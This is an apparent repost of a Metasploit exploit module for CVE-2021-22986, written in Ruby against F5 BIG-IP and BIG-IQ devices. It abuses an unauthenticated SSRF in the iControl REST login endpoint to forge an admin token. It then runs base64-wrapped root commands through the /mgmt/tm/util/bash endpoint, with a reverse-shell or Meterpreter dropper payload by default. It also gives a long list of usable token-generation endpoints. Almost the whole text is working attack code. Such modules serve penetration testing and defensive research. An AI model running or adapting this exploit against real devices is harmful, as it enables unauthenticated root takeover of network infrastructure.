Share
## https://sploitus.com/exploit?id=PACKETSTORM:162059
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'F5 iControl REST Unauthenticated SSRF Token Generation RCE',  
'Description' => %q{  
This module exploits a pre-auth SSRF in the F5 iControl REST API's  
/mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that  
can be used to execute root commands on an affected BIG-IP or BIG-IQ  
device. This vulnerability is known as CVE-2021-22986.  
  
CVE-2021-22986 affects the following BIG-IP versions:  
  
* 12.1.0 - 12.1.5  
* 13.1.0 - 13.1.3  
* 14.1.0 - 14.1.3  
* 15.1.0 - 15.1.2  
* 16.0.0 - 16.0.1  
  
And the following BIG-IQ versions:  
  
* 6.0.0 - 6.1.0  
* 7.0.0  
* 7.1.0  
  
Tested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion.  
},  
'Author' => [  
'wvu', # Analysis and exploit  
'Rich Warren' # First blood (RCE) and endpoint collaboration  
],  
'References' => [  
['CVE', '2021-22986'],  
['URL', 'https://support.f5.com/csp/article/K03009991'],  
['URL', 'https://attackerkb.com/assessments/f6b19d24-b24e-4abd-98cf-2988d7424311'],  
['URL', 'https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/']  
# https://clouddocs.f5.com/products/big-iq/mgmt-api/v7.0.0/ApiReferences/bigiq_public_api_ref/r_auth_login.html  
],  
'DisclosureDate' => '2021-03-10', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :bourne,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session  
'SideEffects' => [  
IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)  
ACCOUNT_LOCKOUTS, # Unlikely with bigipAuthCookie  
ARTIFACTS_ON_DISK # CmdStager  
]  
}  
)  
)  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('USERNAME', [true, 'Valid admin username', 'admin']),  
OptString.new('ENDPOINT', [false, 'Custom token generation endpoint'])  
])  
  
register_advanced_options([  
OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])  
])  
end  
  
def username  
datastore['USERNAME']  
end  
  
def user_reference_endpoint  
normalize_uri(target_uri.path, '/mgmt/shared/authz/users', username)  
end  
  
def check  
generate_token_ssrf ? CheckCode::Vulnerable : CheckCode::Safe  
end  
  
def exploit  
return unless (@token ||= generate_token_ssrf)  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
def generate_token_ssrf  
print_status('Generating token via SSRF...')  
vprint_status("Username: #{username}")  
vprint_status("Endpoint: #{login_reference_endpoint}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),  
'ctype' => 'application/json',  
'data' => {  
'username' => username,  
'bigipAuthCookie' => '',  
'authProviderName' => 'local',  
'loginReference' => {  
'link' => "https://localhost#{login_reference_endpoint}"  
},  
'userReference' => {  
'link' => "https://localhost#{user_reference_endpoint}"  
}  
}.to_json  
)  
  
unless res&.code == 200 && (@token = res.get_json_document.dig('token', 'token'))  
print_error('Failed to generate token')  
return  
end  
  
print_good("Successfully generated token: #{@token}")  
@token  
end  
  
def execute_command(cmd, _opts = {})  
bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)"  
  
print_status("Executing command: #{bash_cmd}")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),  
'ctype' => 'application/json',  
'headers' => {  
'X-F5-Auth-Token' => @token  
},  
'data' => {  
'command' => 'run',  
'utilCmdArgs' => "-c '#{bash_cmd}'"  
}.to_json  
}, datastore['CmdExecTimeout'])  
  
unless res  
vprint_warning('Command execution timed out')  
return  
end  
  
unless res.code == 200 && res.get_json_document['kind'] == 'tm:util:bash:runstate'  
fail_with(Failure::PayloadFailed, 'Failed to execute command')  
end  
  
print_good('Successfully executed command')  
  
return unless (cmd_result = res.get_json_document['commandResult'])  
  
vprint_line(cmd_result)  
end  
  
def login_reference_endpoint  
if datastore['ENDPOINT']  
return normalize_uri(target_uri.path, datastore['ENDPOINT'])  
end  
  
@token_generation_endpoint ||= token_generation_endpoints.sample  
  
normalize_uri(target_uri.path, @token_generation_endpoint)  
end  
  
# Usable token generation endpoints between versions 12.1.4 and 16.0.1  
def token_generation_endpoints  
%w[  
/access/file-path-manager/indexing  
/cm/autodeploy/cluster-software-images/indexing  
/cm/autodeploy/qkview/indexing  
/cm/autodeploy/software-images/indexing  
/cm/autodeploy/software-volume-install/indexing  
/cm/system/authn/providers/tmos/1f44a60e-11a7-3c51-a49f-82983026b41b/users/indexing  
/cm/system/authn/providers/tmos/indexing  
/mgmt/shared/analytics/avr-proxy-tasks  
/mgmt/shared/gossip  
/mgmt/shared/gossip-peer-refresher  
/mgmt/shared/identified-devices/config/device-refresh  
/mgmt/shared/save-config  
/mgmt/tm/shared/bigip-failover-state  
/shared/analytics/avr-proxy-tasks  
/shared/analytics/avr-proxy-tasks/indexing  
/shared/analytics/event-aggregation-tasks/indexing  
/shared/analytics/event-analysis-tasks/indexing  
/shared/authn/providers/local/groups/indexing  
/shared/authz/remote-resources/indexing  
/shared/authz/resource-groups/indexing  
/shared/authz/roles/indexing  
/shared/authz/tokens/indexing  
/shared/chassis-framework-upgrades/indexing  
/shared/device-discovery-tasks/indexing  
/shared/device-group-key-pairs/indexing  
/shared/echo/indexing  
/shared/framework-info-tasks/indexing  
/shared/framework-upgrades/indexing  
/shared/gossip  
/shared/gossip-peer-refresher  
/shared/group-task/indexing  
/shared/iapp/blocks/indexing  
/shared/iapp/build-package/indexing  
/shared/iapp/health-prefix-map/indexing  
/shared/iapp/package-management-tasks/indexing  
/shared/iapp/template-loader/indexing  
/shared/identified-devices/config/device-refresh  
/shared/nodejs/loader-path-config/indexing  
/shared/package-deployments/indexing  
/shared/resolver/device-groups/indexing  
/shared/resolver/device-groups/tm-shared-all-big-ips/devices/indexing  
/shared/root-framework-upgrades/indexing  
/shared/rpm-tasks/indexing  
/shared/save-config  
/shared/snapshot-task/indexing  
/shared/snapshot/indexing  
/shared/stats-information/indexing  
/shared/storage/tasks/indexing  
/shared/task-scheduler/scheduler/indexing  
/shared/tmsh-shell/indexing  
/tm/analytics/afm-sweeper/generate-report/indexing  
/tm/analytics/afm-sweeper/report-results/indexing  
/tm/analytics/application-security-anomalies/generate-report/indexing  
/tm/analytics/application-security-anomalies/report-results/indexing  
/tm/analytics/application-security-network/generate-report/indexing  
/tm/analytics/application-security-network/report-results/indexing  
/tm/analytics/application-security/generate-report/indexing  
/tm/analytics/application-security/report-results/indexing  
/tm/analytics/asm-bypass/generate-report/indexing  
/tm/analytics/asm-bypass/report-results/indexing  
/tm/analytics/asm-cpu/generate-report/indexing  
/tm/analytics/asm-cpu/report-results/indexing  
/tm/analytics/asm-memory/generate-report/indexing  
/tm/analytics/asm-memory/report-results/indexing  
/tm/analytics/cpu/generate-report/indexing  
/tm/analytics/cpu/report-results/indexing  
/tm/analytics/disk-info/generate-report/indexing  
/tm/analytics/disk-info/report-results/indexing  
/tm/analytics/dns/generate-report/indexing  
/tm/analytics/dns/report-results/indexing  
/tm/analytics/dos-l3/generate-report/indexing  
/tm/analytics/dos-l3/report-results/indexing  
/tm/analytics/http/generate-report/indexing  
/tm/analytics/http/report-results/indexing  
/tm/analytics/ip-intelligence/generate-report/indexing  
/tm/analytics/ip-intelligence/report-results/indexing  
/tm/analytics/ip-layer/generate-report/indexing  
/tm/analytics/ip-layer/report-results/indexing  
/tm/analytics/lsn-pool/generate-report/indexing  
/tm/analytics/lsn-pool/report-results/indexing  
/tm/analytics/memory/generate-report/indexing  
/tm/analytics/memory/report-results/indexing  
/tm/analytics/network/generate-report/indexing  
/tm/analytics/network/report-results/indexing  
/tm/analytics/pem/generate-report/indexing  
/tm/analytics/pem/report-results/indexing  
/tm/analytics/proc-cpu/generate-report/indexing  
/tm/analytics/proc-cpu/report-results/indexing  
/tm/analytics/protocol-security-http/generate-report/indexing  
/tm/analytics/protocol-security-http/report-results/indexing  
/tm/analytics/protocol-security/generate-report/indexing  
/tm/analytics/protocol-security/report-results/indexing  
/tm/analytics/sip/generate-report/indexing  
/tm/analytics/sip/report-results/indexing  
/tm/analytics/swg-blocked/generate-report/indexing  
/tm/analytics/swg-blocked/report-results/indexing  
/tm/analytics/swg/generate-report/indexing  
/tm/analytics/swg/report-results/indexing  
/tm/analytics/tcp-analytics/generate-report/indexing  
/tm/analytics/tcp-analytics/report-results/indexing  
/tm/analytics/tcp/generate-report/indexing  
/tm/analytics/tcp/report-results/indexing  
/tm/analytics/udp/generate-report/indexing  
/tm/analytics/udp/report-results/indexing  
/tm/analytics/vcmp/generate-report/indexing  
/tm/analytics/vcmp/report-results/indexing  
/tm/analytics/virtual/generate-report/indexing  
/tm/analytics/virtual/report-results/indexing  
/tm/shared/bigip-failover-state  
/tm/shared/sys/backup/indexing  
]  
end  
  
end